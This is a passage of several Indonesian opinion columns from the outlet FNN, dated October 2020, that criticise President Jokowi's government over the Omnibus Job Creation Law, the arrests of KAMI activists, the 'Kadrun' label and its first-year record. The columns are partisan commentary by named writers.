itu, ikut menyuburkan resistensi terhadap pemerintahan Jokowi. Bahkan menurut pendapat Gatot Nurmantio, UU Cipta kerja menimbulkan kegaduhan politik. Dari pandangan masyarakat sipil menilai, sebagian subtansi UU Ciptaker lebih menguntungkan para oligharki dan merugikan kepentigan rakyat. Mengingat setidaknya ada 262 anggota DPR berasal dari pebisnis. Dan sekelompok kecil diantaranya jadi tim Satgas dan Panja Omnibus law. Tentu, peran para aktor tersebut, ada dalam pusaran konflik kepentingan industri tambang dan energy sebagai proses (within input), misteri black box pengambilan keputusan. Para ahli ilmu politik, berpendapat bahwa model kepolitikan shadow state atau oligharki sebagai suatu gejala destruktif dalam proses pembangunan politik. Karena telah membajak, bahkan dapat menghancurkan sistem demokrasi. Akibat paling tragis, menyandra kekuasaan presiden yang semestinya berpihak pada kepentingan rakyat. Konstalasi seperti ini justru mereproduksi polical decay, semakin memperburuk legitimasi Jokowi semenjak awal sudah dipersoalkan oleh sebagian publik. Oleh karenannya, krisis politik akan terus menghantui Indonesia. Mengingat problem ketimpangan sosial ekonomi, perkembangan ekonomi memburuk, pengangguran, kemiskinan, korupsi. Diperparah keadaan sebelumnya, yaitu pelemahan KPK dan MK sebagai lembaga banding penyelesaian konflik konstitusi tak memiliki gigi. Penurunan indeks demokrasi dan indeks persepsi korupsi, dampak pandemik covid 19 dan diambang resisi ekonomi. Persekusi dan diskrimiasi hukum terhadap para ulama, penanganan demo belakangan ini sangat represif. Justru, semakin memperkuat solidaritas masyarakat sipil dan perlawanan terhadap pemerintah Jokowi. Sementara, dinamika sosial, kemerosotan ekonomi dan pragmentasi sosial politik begitu tajam memberikan efek langsung pada penurunan kapasitas pemerintah. Sehingga akumulasi masalah pelbagai masalah menjadi perkerjaan tambahan dan beban politik. Sementara kemampuan pemerintah Jokowi dalam menyelesaikan masalah dan legitimasi semakin merosot. Pertanyaannya, apakah pemerintah Jokowi masih mampu menyelesaikan berbagai persoalan pelik seiring dengan krisis politik dan ekonomi yang berlangsung ? Yaitu bagaimana mencari jalan keluar. Misalnya segera membatalkan UU Cipta kerja, bebaskan tahanan politik yang dijerat dengan pasal karet. Menghentikan cara-cara tak lazim dalam mengelola konflik politik. Termasuk peran buzzer yang justru memperkeruh iklim politik. Tidak mengeluarkan kebijakan atau pernyataan yang dapat menimbulkan kegaduhan politik. Mencopot pejabat negara atau aparat keamanan yang ditenggarai menghasilkan kegaduhan politik. Membuka ruang akomodasi politik, memaksimalkan fungsi reperesentasi politik. Jika jalan perbaikan tak berhasil, maka semakin mempercepat krisis politik dan delegitimasi Jokowi, seiring semakin derasnya tuntutan rakyat, mendesak Jokowi mundur dari jabatan presiden. Penulis adalah Akademisi dan Aktivis Politik

KAMI Itu Gerakan Moral, Bukan Makar

by Tony Rosyid Jakarta FNN – Jum’at (23/10). Kesatuan Aksi Menyelamatkan Indonesia (KAMI) itu gerakan moral. Karakter sebuah gerakan moral itu mengedepankan cecks and balances terhadap penguasa. Gerakan moral itu beradu data tentang pelaksanaan pembangunan dan tata kelola pemerintahan yang baik dan benar. Nggak lebih dari itu. Ketika peran dan fungsi kontrol yang diberikan konstitusi kepada DPR yang makin lemah, maka KAMI lahir. Kelahiran KAMI diperlukan masyarakat untuk menjadi partner dan mitra diskusi yang kritis terhadap pemerintah. Pemerintah nggak boleh kerja tanpa pengawasan. Ngga boleh kerja yang menyusahkan dan menyengsarakan rakyat. Jika itu terjadi, maka sangat bahaya. Pemerintah berhak salah. Karena itu, perlu dikontrol, diingatkan, dikritik dan diberi masukan agar tidak semakin salah. Karena itu, pemerintah butuh mimbar kampus, kebebasan pers, Lembaga Swdaya Masyarakat (SM) dan organisasi seperti KAMI yang berfungsi injek rem kalau pemerintah ada kesalahan. Resikonya kalau rem blong, negara bisa nabrak sana sini. Sikat sana sikat sini. Siapapun yang lagi di depannya, bisa kena tabrak. Ini gawat. Nah, hukum yang baik bisa menjadi rem. Tetapi, itu gak cukup. Apalagi kalau produk, pelaksanaan dan penegakan hukum bermasalah. Dalam kondisi obyektif seperti itu, harus ada sejumlah orang atau kelompok yang ambil peran untuk injek rem. Kalau rem nggak pake, yang injak rem disingkirkan, ya blong. Pemerintah berjalan nggak terarah. Disini pentingnya kritik, masukan, bahkan demo dari para buruh, mahasiswa, pelajar dan masrakat umunya. Selama tidak anarkis, demo dilindungi undang-undang. Melihat KAMI, lihatlah sosok Din Syamsudin dan Rahmat Wahab. Nggak ada potongan makar. Nggak ada potongan untuk makar dan jatuhkan presiden. Din Syamsudin itu mantan Ketua MUI dan mantan Ketua PP Muhammadiyah. Hingga hari ini tercatat sebagai Guru Besar FISIP Universitas Islam Negeri (UIN) Jakarta. Begitu juga Rachmat Wahab. Tokoh NU dan Guru Besar Univeristas Islam Indonesia (UII) Jogyakarta. Keduanya akademisi. Manalah mungkin kedua sosok akademisi yang berlatarbelakang ormas moderat tersebut melakukan makar atau mau menjatuhkan Presiden? Jadi, kalau ada pihak yang menuduh KAMI itu berbahaya, tentu berlebihan. Begitu juga tuduhan KAMI berada di balik demo UU Omnibus Law Cipta Kerja itu sangat mengada-ada. Nggak ada atribut KAMI disitu. Nggak ada instruksi dan pernyataan, baik resmi maupun tidak resmi dari KAMI untuk turun dan melakukan demo. Sebaliknya kalau ada warna-warni KAMI di arena demo, bisa-bisa demonya batal. Sebab, baik buruh, mahasiswa dan pelajar, tidak mau ditunggangi oleh kepentingan lain. Pendemo itu inginnya gerakan mereka murni karena kesadaran sendiri. Bahkan yang terdengar malah himbauan dari senior-senior KAMI kepada seluruh anggota KAMI untuk tidak melakukan demo atas nama KAMI. Kalau kemudian ada sejumlah anggota KAMI yang demo, tentu KAMI secara organisatoris nggak bisa melarang. Karena itu hak individu masing-masing yang dijamin oleh undang-undang. Melarang anggota KAMI berdemo menentang UU Omnibus Law Cipta Kerja (Cilaka) itu melanggar Undang-Undang. Tak boleh ada yang membajak KAMI yang mulai membesar ini untuk kepentingan politik individu. Apalagi sampai melakukan makar. Sebab, KAMI gerakan moral, dan menghindari gerakan yang berpotensi "dituduh" hendak melakukan makar. Lalu, kenapa sejumlah orang dari KAMI ditangkap? Anton Permana, Syahganda Nainggolan, Jumhur Hidayat, dan lain-lain dalam tiga hari ditangkap. Pertanyaannya, mereka ditangkap atas kesalahan apa? Dilihat dari pasal yang dikenakan, mereka dituduh melanggar UU ITE. Bukan sebagai penggerak demo. Nggak ada pasal makar yang disangkakan. Yang pasti, mereka tidak ditangkap bukan karena alasan menjadi deklarator KAMI. Sebab, KAMI bukan perkumpulan dan organisasi terlarang. Kalau deliknya adalah pelanggaran UU ITE, kenapa delapan tokoh yang ditangkap itu semuanya adalah anggota KAMI? Malah sebagian adalah deklarator? Banyak pihak yang mengkritik bahwa penangkapan para tokoh KAMI itu politis. Mereka tidak layak ditahan, apalagi diborgol, kata Jimly Assidiqy, mantan ketua Mahkamah Konstitusi itu yang sekarang jadi anggota DPD. Banyak koruptor yang tidak diborgol polisi. Memang, di publik, muncul banyak pertanyaan. Bandit koruptor tidak diborgol, kenapa beda pendapat harus diborgol? Begitulah opini yang sempat ramai beberapa hari terakhir ini. Namun itu adalah haknya penyidik untuk mau borgol atau tidak borgol tersangka. Namun lepas dari semua yang dianggap "janggal", kita berharap hukum kita tetap tegak. Dan hukum hanya tegak apabila di tangan penegak hukum yang tegak dan steril dari intervensi kekuasaan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Ahmad Yani, Muadzin Moral Bangsa

by Tamsil Linrung Jakarta FNN – Jum’at (23/10). Siatuasi krisis selalu memunculkan anomali. Dari rahim yang sama, lahir dua sosok di kutub yang berbeda.Yaitu sosok pahlawan yang berdiri di garis depan kebenaran, versus sosok pecundang yang bersembunyi di balik tirai kegelapan. Pecundang ini tak jarang menjadi bagian dari krisis tersebut. Begitu sejarah mencatat dan memberikan pembelajaran. Krisis ekonomi dan krisis politik tahun 1998 misalnya, memunculkan tokoh-tokoh pahlawan reformasi dari berbagai kalangan. Terutama mahasiswa, akademisi dan cendekiawan. Namun pada saat yang sama, kita juga melihat bagaimana konglomerat dan pengusaha hitam, memanfaatkan keadaan untuk mencari keuntungan. Mereka merampok uang negara. Mega skandal keuangan Bantuan Likuiditas Bank Indonesia (BLBI) adalah catatan kelam yang berulang. Kisah kejahatan di tengah hamil besar bangsa meniti jalan demokrasi. Menurut audit Badan Pemeriksa Keuangan, megaskandal BLBI merugikan negara Rp 138,442 triliun. Itu kerugian langsung. Kerugian tidak langsung ditengarai mencapai Rp 640,9 triliun (Tempo). Hari-hari ini, di tengah krisis multidimensi, ada krisis kesehatan akibat Covid-19, krisis ekonomi, dan krisis politik, dua sosok itu kembali muncul. Saya tidak ingin berbicara tentang sosok bad guys. Komplotan yang memanfaatkan kebatinan krisis untuk meraup keuntungan itu, tanpa diungkap secara gamblang pun, publik sudah tahu siapa mereka. Di era keterbukaan informasi, masyarakat dengan mudah membaca dan menyaksikan di layar kaca. Transaksi informasi menciptakan transparansi di tengah dekadensi, sudah cukup sukses mengungkap siapa-siapa aktor yang berkelindan di depan mata. Yang pasti, akibat dari perbuatan bad guys tersebut, kita rasakan di hari-hari ini. Melalui tulisan yang ringkas ini, saya justru ingin berbicara tentang pahlawan. Sosok yang akan selalu lahir di tengah krisis. Suka atau tidak suka. Figur yang tak bisa dihindari. Meski tidak dikehendaki pihak-pihak yang merasa kepentingannya terganggu, takdir akan tetap mengirim para pahlawan. Jadi pelita yang nyalanya menerangi. Para pahlawan menjelma jadi bara yang siap membakar angkara murka. Salah satu indikator bahwa pahlawan itu muncul, adalah ketika kita mulai menyaksikan ada yang merasa kepanasan. Gelisah dan tidak nyaman. Bahkan bereaksi berlebihan terhadap seseorang. Dari sederet tokoh yang mencuat di tengah badai krisis ini, Dr. Ahmad Yani merupakan figur yang mencolok. Dr. Ahamd Yani menjadi salah satu tokoh kunci yang dibalik sambutan masyarakat terhadap gerakan Koalisi Aksi Menyelamatkan Indonesia (KAMI). Didaulat sebagai Ketua Komite Eksekutif KAMI, menempatkan Dr. Ahmad Yani di front gerakan KAMI yang diimami tiga tokoh bangsa, yaitu Jenderal TNI (Purn.) Gatot Nurmantyo, Prof. Dr. Rochmat Wahab, dan Prof. Dr. Din Syamsuddin. Dr. Ahmad Yani, sang muadzin sebagai moral bangsa. Dia sosok pejuang sejati. Lantang menyerukan penegakan kebenaran di mimbar-mimbar demokrasi. Berdialog dengan kekuasaan, demi meluruskan kiblat bernegara agar tidak terjerumus ke dalam situasi yang semakin parah. Dr. Ahmad Yani menjelma jadi pahlawan di tengah krisis multidimensi. Tetap teguh memegang prinsip, meski ancaman jerat hukum membayang-bayangi. Penangkapan terhadap Yani yang akhirnya gagal, saya yakin tidak menciutkan nyali sosok aktivis ulung ini. Kepakarannya di bidang hukum tak diragukan lagi. Kiprahnya di dunia advokat sangat jelas. Yani sudah terbiasa menyerukan tegaknya keadilan. Yani tentu sudah sadar segala konsekuensi yang bakal menghadang. Memimpin lembaga sebesar KAMI. Apalagi, KAMI secara tegas dan lugas mengambil posisi berseberangan dengan kekuasaan. Menjadi oposisi moral yang berasis data terhadap kekuasaan. Berada di shaf gerakan ekstra parlemen dengan kelompok-kelompok masyarakat sipil (sivil society) lintas gerakan dan ideologi. Meski mayoritas partai politik memilih berlabuh ke pangkuan kekuasaan. Presidium KAMI, Prof. Din Syamsudin bahkan sudah mengingatkan, bahwa setelah penangkapan Sekretaris Komite Eksekutif KAMI, Syahganda Nainggolan, bersama koleganya Jumhur Hidayat dan Anton Permana, bidikan juga akan menyasar dirinya. Serta orang-orang yang dipandang punya kekuataan moral menggerakkan rakyat. Lantunan seruan moral ini tidak bisa diredupkan. Meski dengan berbagai intrik. Kekuatan uang ada batasnya. Tetapi gema moralitas dan integritas yang menjulang tinggi, tidak bisa dibungkam. Yani tetap saja berkumandang, dan terus terpancar menembus ke relung hati rakyat. Tanpa mantra manipulasi mesin pembentukan opini. Itulah kekuatan kolektif moralitas yang tidak bisa dibendung. Penangkapan tokoh-tokoh KAMI dan upaya kriminalisasi, justru hanya akan memperkeruh suasana. KAMI dengan gerakan opisis moralnya ini tidak bisa digertak. Bukannya surut gerakan moral untuk beraduh data dengan pemerintah. Malah menciptakan gelombang pasang kesadaran rakyat tentang kezoliman dan ketidakadilan yang sedang dan akan terjadi atas bangsa ini. Berpikir menghentikan KAMI dengan memangkas pucuknya, seperti usaha menakut-nakuti Yani, hanya akan memunculkan pucuk-pucuk Yani Yani Yani yang baru. Secara kelembagaan dan kultural, akar KAMI sudah menghujam ke seluruh penjuru nusantara. Baik secara formal, maupun dukungan moral oleh mereka yang merasa nasib dan pikiran-pikirannya diperjuangkan oleh KAMI. Di level Presidium, ikatan komitmen kebangsaan KAMI sudah khatam. Mewakafkan diri untuk negeri tak bisa ditawar-tawar lagi. Begitupula di jajaran Eksekutif higga ke akar massa. Semua senada seirama. Maka bukan takabur, bila dalam meniti jalan terjal perjuangan moral ini, Prof. Din sudah mewanti-wanti untuk siaga menghadapi segala risiko dan kemungkinan terburuk. Prof. Din bahkan berseloroh, sudah menyiapkan satu koper yang terisi pakaian dan beberapa buku. Yang artinya bahwa, seluruh komponen gerakan moral ini harus dipastikan siap lahir batin. Hal yang sama, juga diingatkan oleh dua presidium lainnya. “Apa pun, kita hadapi dengan senyum,” Kata Jenderal Gatot. Dr. Ahmad Yani, sang muadzin moral bangsa itu sudah lantang menyerukan panggilan menyelamatkan bangsa. Tentu saja dengan barisan shaf yang tertata rapi. Barisan itu ada di KAMI, dan berbagai shaf pergerakan rakyat lintas elemen. Semua menyuarakan perlawanan secara moral. Sementara figur-figur sentral lain seperti Syahganda Nainggolan, Jumhur Hidayat, Anton Permana, para aktivis siswa STM, buruh, dan mahasiswa, juga secara lantang bersahut-sahutan melantukan seruan moral merespons keadaan hari ini. Suara itu menggema di forum-forum diskusi, mimbar bebas, panggung jalanan dan ruang-ruang virtual. Kalangan terpelajar dari forum Guru Besar, Cendekiawan, Habib dan Ulama juga telah berada di barisan gerakan moral yang sama. Kemana lagi rakyat akan berdiri, kalau bukan di shaf yang terus memanjang ini? Pendapat siapa lagi yang mau kita dengar, kalau para Guru Besar dan Alim Ulama yang sudah mengeluarkan fatwa intelektual dan spiritual? Penulis adalah Anggota DPD RI.

Mengapa Harus Takut Dengan Revolusi?

by Asyari Usman Jakarta FNN - Kamis (22/10). Sekarang ini, kata “revolusi” menjadi sangat sensitif. Banyak yang takut mengucapkan atau menuliskannya. Takut dituduh melakukan makar. Padahal, “revolusi” ada di dalam sejarah perjuangan bangsa dan juga ada di dalam kosa kata bahasa Indonesia. Dari sudut pandang tertentu, bisa dipahami ketakutan terhadap kata “revolusi”. Sebab, kata ini bermakna “perubahan ketatanegaraan (pemerintahan atau keadaan sosial) yang dilakukan dengan kekerasan (seperti dengan perlawanan bersenjata)”. Seperti inilah definisi “revolusi” di Kamus Besar Bahasa Indonesia (KBBI). Tetapi, apakah setiap kali orang mengucapkan atau menuliskan kata “revolusi”, langsung bisa disebut orang itu sedang merencanakan atau berbuat makar, dan karena itu harus dikenai pasal-pasal kejahatan? Tentu tidak. Sebab, kalau mengucapkan dan menuliskan “revolusi” bisa dianggap merencanakan atau melakukan makar, maka para penyusun KBBI pun bisa kena pasal pidana. Bagaimana dengan orang-orang yang berpikir tentang “revolusi”? Apakah mereka bisa disebut sedang merencanakan perbuatan makar? Jawabannya juga tidak. Mereka tidak sedang merencanakan revolusi. Berpikir tentang “revolusi” adalah kontemplasi seseorang tentang suasana seperti apa yang akan berkembang jika “revolusi” terjadi. Lantas, bagaimana dengan seseorang yang mendambakan “revolusi”? Untuk ini, tergantung revolusi apa yang ia inginkan. Kalau “revolusi teknologi komunikasi”, maka semua pihak harus mendukungnya supaya menjadi kenyataan. Juga “revolusi angkutan umum”. Kita semua memerlukan perubahan yang lebih radikal di bidang komunikasi dan transportasi publik. Lebih-lebih lagi “revolusi mental”. Kita semua jangan hanya sekadar mendambakan, melainkan juga harus ikut mengkampanyekannya. Cuma, sayangnya, “revolusi mental” yang dideklarasikan Pak Jokowi pada awal masa jabatan pertama beliau tidak pernah lagi dibicarakan. Sebab, “revolusi mental” adalah revolusi yang antara lain bertujuan membasmi budaya korupsi, oligarkis, dan destruksi sumber daya alam (SDA). Dengan “revolusi mental” diharapkan pelayanan umum menjadi kelas dunia. Jokowi menghadapi tembok raksasa yang menghadang “revolusi mental”. Akhirnya, beliau lupakan itu sekarang. Walhasil, korupsi, oligarkis, destruksi SDA, dan pelayanan buruk tak bisa dihapus. Malah berkembang semakin pesat. Sehingga, Jokowi dibuat tak berkutik. Bahkan, tidak hanya tak berkutik. Jokowi cenderung memperlihatkan pemahaman bahwa budaya ini “entertaining” dan “beneficial”. Menyenangkan dan menguntungkan. Seterusnya, bagaimana kalau seseorang mendambakan “revolusi”? Lagi-lagi, kalau sekadar mendambakan tentulah boleh-boleh saja. Mendambakan itu ‘kan cuma mengimpikan. Mengimpikan “revolusi kekuasaan” bukanlah perbuatan makar. Sebab, kembali lagi, semua itu hanya berupa angan-angan saja. Baru menjadi masalah kalau seseorang menyusun rencana dan mencoba mengeksekusi rencana itu. Begini. Revolusi itu banyak jenisnya. Revolusi kekuasaan hanya satu di antaranya. Memang benar, revolusi kekuasaan –yang bisa juga disebut sebagai revolusi untuk mengambil alih kekuasaan— akan menimbulkan perkelahian. Pertumpahan darah, tepatnya. Yang berkuasa pastilah akan memperthankan diri. Dan akan melakukan penumpasan jika ada pihak yang mencoba melancarkan revolusi itu. Sebaliknya, pihak yang melancarkan revolusi kekuasaan (disingkat saja menjadi “revolusi”) pasti akan berusaha sekerasnya untuk menggulingkan penguasa. Bagi mereka, sudah cukup alasan untuk mengambil alih kekuasaan. Satu hal, bahwa revolusi tidak akan terjadi kalau tidak ada “discontent” (perasaan tak senang) yang meluas dan akut terhadap pihak yang berkuasa. Ini biasanya disulut oleh kebijakan penguasa yang menyusahkan rakyat. Atau, para penguasa telah melampaui batas dalam kesewenangannya. Kezoliman semakin merajalela. Salah satu ciri khas revolusi ialah kemunculannya yang tidak bisa dibendung. Pasti akan ada saja jalan menuju ke situ. Dengan syarat bahwa semua ramuan (ingredients) menuju revolusi itu memang telah lengkap ada di tengah rakyat. Tidak banyak orang yang bisa bersembunyi atau melarikan diri dari revolusi. Penulis adalah Wartawan Senior FNN.co.id.

Horeee... Mendadak Menjadi Kadrun? Budaya Munafik

by M Rizal Fadillah Bandung FNN – Kamis (22/10), Dulu Partai Komunis Indonesia (PKI) menyebut para santri atau aktivis Islam sebagai Kadal Gurun (Kadrun). Subutan yang mengarah pada sisi kearab-araban, baik dari sisi pakaian maupun identitas lainnya. Asal yang ada arab-aranya, itu Kadrun. Memang musuh PKI adalah kekuatan agama. Karena bagi faham komunis, gerakan agama itu adalah candu. Sebagai gerakan tanpa moral, PKI menghalalkan segala cara. Semua yang berbau agama harus dihancurkan. Bagi PKI, kalau masih dirangkul, ya lebih baik. Termasuk ikut sholat, puasa dan haji. Sebutan Kadrun ternyata melembaga juga saat ini. Ejekan datang dari para pendukung Jokowi kepada elemen dan aktivis Islam. Nong Darol, Edi Kuntadi, Denny Siregar paling suka lempar perkadrunan ini. Begitu juga dengan FX Arief Poyuono dan Ade Armando. Meski balasan predikat juga bisa dikenakan untuk para doking, dan kodok Peking. Profil kemusliman, bahkan kearab-araban untuk sebutan Kadrun lucunya juga ternyata ditampilkan oleh Jokowi dan keluarganya. Langkah ini dalam upaya mencari dukungan suara umat Islam. Umat Islam ini kadang-kadang tidak disukai, tetapi juga sangat diperlukan suaranya. Makanya para pencari suara tersebut bisa saja "mendadak menjadi Kadrun". Saat Pilpres 2019 Jokowi sering tampil mengimami sholat di berbagai daerah. Lalu pemotretan fokus pada sudut penampilan. Kadang-kadang Mihrab harus dimundurkan satu shaff agar posisi yang tadinya diperuntukan untuk iman sholat tersebut, bisa ditempati oleh petugas pemotretan untuk mengambil gampar saat Pak Jokowi jadi imam sholat. Bahkan diantara Pak Jokowi menjadi imam sholat tersebut, ada yang dengan bersorban segala. Ada juga saat mengimami pemimpin negara asing di Kabul Afghanistan bersorban unik. Padahal sorban itu kan nyata-nyata pakainnya kaum “Kadrun”. Sekarang ini jarang sekali untuk menemukan lagi foto atau video pak Jokowi mengimami lagi. Memang "Kadrun" kadang dibutuhkan sesaat saja. Namun kalau sudah selesai maksud dan tujuan, maka langkah berikutnya para mendukung yang menghujat pakaian atau tampilan medel “Kadrun”. Begitu juga yang terjadi pada sang putra "milenial" Gibran yang berubah berpeci sarung bak seorang ustadz dalam tampilan Pilkada Solo. Cawalkot "sembilan puluh dua persen" ini pun "mendadak menjadi Kadrun". Diikuti mantu Bobby Nasution yang maju dalam Pilkada Medan viral bersorban putih dan berpenampilan seperti "pangeran Sentot Alibasyah". Tentu saja tidak ada yang salah untuk berpakaian muslim, berpenampilan ala ustadz, atau yang kearab-araban. Namun mendadak berpenampilan "sholeh" dalam rangka berburu suara dalam pilihan politik pasti menuai cibiran. Celaan Jokower bahwa aktivis muslim adalah "Kadrun" harus membenturkan diri Jokowi dan keluarganya yang "mendadak Kadrun" pula. Relasi Pemerintahan Jokowi dengan umat Islam dinilai bermasalah. Bukan saja dirasakan oleh sebagian umat Islam Indonesia. Namun juga tak luput dari pengamatan cendekiawan asing. Greg Fealy di antaranya. Professor Australian National University (ANU) itu menyebut Pemerintahan Jokowi represif kepada umat Islam. Lewat tulisan di East Asia Forum 27 September 2020 Fealy menyatakan pemerintahan PDIP di bawah Jokowi itu menindas umat Islam. Penangkapan aktivis dan isu radikalisme diarahkan kepada umat Islam. Isu yang sengaja diangkat untuk tujuan memberangus. Jadi menggelikan dan menjengkelkan jika ulama dan aktivis umat Islam diteriaki sebagai Kadrun. Akan tetapi dalam praktek politiknya, mereka itu juga "mendadak menjadi Kadrun". Inilah krisis personalitas dalam proses politik. Split personality atau ambivalensi politik. Hancur moral bangsa akibat memberhalakan budaya munafik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Diberi Raport Merah, Jokowi Mesti Dievaluasi

byTony Rosyid Jakarta FNN – Kamis (22/10). Tanggal 20 Oktober 2020, genap setahun pemerintahan Jokowi periode kedua. Publik menyoroti bagaimana kebijakan dan kinerjanya. Agak bersemangat mengingat cukup banyak isu yang acapkali menciptakan ketegangan. Setidaknya ada tiga hal untuk mengukur dan menilai secara obyektif kinerja Jokowi di periode kedua. Pertama, terkait program berkelanjutan dari periode pertama. Kedua, mengenai janji politik. Ketiga, seberapa besar tingkat kepuasan publik terhadap kebijakan dan kinerja pemerintah. Kalau ditanya, apa program berkelanjutan Jokowi? Jawabnya, ya infrastruktur. Jalan tol, bandara dan kereta cepat yang masih terus berlanjut. Bahkan mimpi untuk membangun "Ibu Kota Baru" di Provinsi Kalimantan Tengah. Harus diakui, pembangunan infrastruktur era Jokowi cukup gencar dan masif. Ini harus diapresiasi. Infrastruktur inilah yang diantaranya berjasa membuat Jokowi terpilih kembali untuk periode kedua. Kendati penuh kontroversi dan menyisakan sejumlah persoalan. Meski demikian, pembangunan infrastruktur Jokowi meninggalkan setidaknya empat catatan. Pertama, tidak sesuai target sebagaimana yang dituangkan dalam janji politiknya. Terutama soal tol laut. Kedua, pembangunan infrastruktur yang "ugal-ugalan" mengakibatkan tingginya hutang negara. Bahkan melebihi hutang gabungan era presiden-presiden sebelumnya. Ketiga, pembangunan infrastruktur tidak linier dengan pertumbuhan ekonomi. Tercatat, pertumbuhan ekonomi di periode pertama hanya 5%. Jauh dari target yang dijanjikan yaitu 7%. Di periode kedua, ekonomi makin terpuruk, dihajar pula dengan pandemi corona. Terjadilah resesi. Dua kuartal minus. Keempat, pembangunan infrastruktur tidak punya efek terhadap peningkatan ekonomi, baik langsung atau tidak langsung. Apalagi yang berkaitan dengan program revolusi mental yang jadi tageline pemerintahan Jokowi. Mengenai janji Jokowi di periode kedua publik nampak apatis. Abai dan tak lagi memperhatikan apa saja janjinya. Mengingat puluhan janji di periode pertama sebagian besar meleset. Stop impor, bay back Indosat, sudahlah masih banyak lagi... lupakan saja. Dan Jokowi sendiri tak pernah memberi penjelasan terkait melesetnya janji-janji tersebut. Gampang lupa, karena bisa berubah pagi dan sore. Terlepas apapun penilaian publik terhadap janji Jokowi di periode pertama, janji di periode kedua tetap harus diingatkan. Janji itu road map. Orang luar bilangnya menifesto. Baik bagi kebijakan pemerintah, maupun jadi unsur penting bagi rakyat untuk mengukur dan menilai kinerja pemerintahan Jokowi Diantara janji itu adalah sinergi pemerintah daerah, penegakan sistem hukum bebas korupsi, pemberian rasa aman bagi setiap warga, dan masih banyak lagi. Ini jadi bagian dari misi Jokowi periode kedua. Melihat KPK terkapar, pencabutan kewenangan Pemerintah Daerah dalam UU Minerba, segala bentuk persekusi dan represi terhadap kebebasan berpendapat, membuat misi ini harus mendapatkan koreksi. Selanjutnya, apa opini publik terhadap kebijakan Jokowi? Survei Litbang Kompas terbaru mengungkap bahwa hanya 45,2% rakyat yang puas terhadap kinerja Jokowi. Ini nggak linier dengan jumlah pemilih Jokowi di Pilpres 2019. Survei ini telah memberi penilaian negatif untuk setahun kinerja Jokowi. Akankah ada survei tandingan yang bakal mencounter survei Litbang Kompas? Kita tunggu saja. Diaisi lain, buruh memberi kartu merah terhadap kinerja Jokowi. Bagaimana dengan mahasiswa dan pelajar? Bagaimana pula dengan Majelis Ulama Indonesia MUI dan ormas? Ini juga penting, agar bisa jadi catatan untuk kinerja pemerintah ke depan. Ketidakpuasan terhadap kebijakan dan kinerja Jokowi bisa dilihat dari sejumlah persoalan. Diantaranya soal politik. Dikotomi pendukung non pendukung tidak selesai. Maaf, "Cebong-Kadrun" menjadi istilah yang terus dipelihara eksistensinya. Nggak bener! Tiga faktor yang menjadi sebab mengapa pendukung dan non-pendukung terus eksis. Pertama, perlakuan hukum yang berbeda terhadap pendukung dan pengkritik pemerintah. Borgol yang sedang ramai dibicarakan seolah menjadi simbol ketidakadilan itu. Kedua, influencer yang terus bekerja merawat keterbelahan sosial. Mengumandangkan istilah "Kadrun" untuk lawan politik dan pihak yang kritis terhadap pemerintah adalah sebuah ironi berbangsa. Setiap yang kritik pemerintah dianggap barisan yang sakit hati, atau politisi yang kecewa karena nggak dapat jatah di pemerintahan Jokowi. Stigma Islam ideologi, radikal dan khilafah semakin memperkeruh situasi. Ketiga, minimnya ruang dialog dengan pihak yang berbeda pendapat, dan dianggap berseberangan secara politik dengan pemerintah. Pemerintah dengan struktur pendukungnya seringkali membangun sikap dan narasi permusuhan terhadap pihak-pihak yang berbeda pendapat dengen pemerintah. Bukan pendekatan dialogis yang dikedepankan. Kalau soal hukum, ada masalah serius di produk, pelaksanaan dan penegakan. Sejumlah undang-undang yang ditolak dan diprotes rakyat diketuk palu. Diantaranya ada UU KPK, UU Minerba, UU Corona, RUU HIP dan terakhir UU Omnibus Law Cipta Kerja. Entah berapa banyak demonstran yang telah jadi korban. Semua UU tersebut mendapatkan penolakan masif dari masyarakat. Tetapi, tetap saja diundangkan. Terkecuali RUU HIP. Itupun belum dicabut dari Prolegnas. Pemerintah dan DPR budeg dan tuli. Kaya negara ini hanya punya pemerintah dan DPR. Sehingga suara rakyat harus dianggap tidak ada. Terakhur UU Ciptaker. Gelombang protes dan demo nggak berhenti. UU Ciptaker dianggap cacat formil dan materiil. Cacat formil, karena ada kesalahan prosedural. Tidak transparan, kurang sosialisasi, banyak anggota fraksi yang terlibat dalam sidang paripurna tidak mendapat materinya. Jumlah halamannya pun berubah-ubah. Cacat materiil, karena sejumlah pasal dianggap tumpang tindih. Dari aspek demokrasi, ada tindakan berlebihan aparat yang dianggap sebagai upaya membungkam kebebasan berpendapat. Ancaman administratif terhadap pelajar dan mahasiswa yang demo merupakan bentuk pembungkaman yang sepatutnya nggak perlu ada. Penyelenggara negara tidak faham konstitusi tentang kebebasan berpendapat yang diatur pasal 28 UUD 45. Belum juga terhadap pers. ILC rehat berulangkali. Ini dibaca publik sebagai bentuk pembungkaman terhadap kebebasan pers. Halo Bang Karni Ilyas. Apa kabar??? Ko ILC banyak banyak cuti??? Semoga Bang Karni, ILC dan TV One sehat-sehat saja, dan dilindungi Allah Subhanahu Wa’ala. Amin. Apalagi soal ekonomi. Selama dua kuartal pertumbuhan ekonomi minus. Ini pertanda resesi ekonomi akan terjadi. Beban hutang begitu besar dan jatuh tempo bayar di bulan November nanti. Dimana devisa (cadangan uang negara) kabarnya sangat minim. Yang harus dibayar pada November nanti mendekati U$ 60 miliar. Jumlah itu hampit separuh dari devisa kita saat ini. Mengandalkan pinjaman luar negeri tak sepenuhnya bisa diandalkan disaat banyak negara mengalami masalah ekonomi. Jual SBN (Surat Berharga Negara) juga tak mudah. Kecuali jika Bank Indonesia yang membeli dengan sistem burden sharing (cetak uang). Sayangnya, undang-undang melarang BI membeli SBN di pasar primer. Ini PR sekaligus tantangan presiden di sisa empat tahun pemerintahannya. Jika ingin mendapatkan kembali opini positif dari rakyat, Jokowi sebagai kepala negara, harus berani melakukan perubahan. Apa yang harus dirubah? Ya, pikir sendiri. Kok nanya gue. Entar kalau gue kasih masukan, gue di....... dong. Ogah ah! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

UU Cilaka Itu Urusan Hutan, Tebang Pohon & Kavling Tanah?

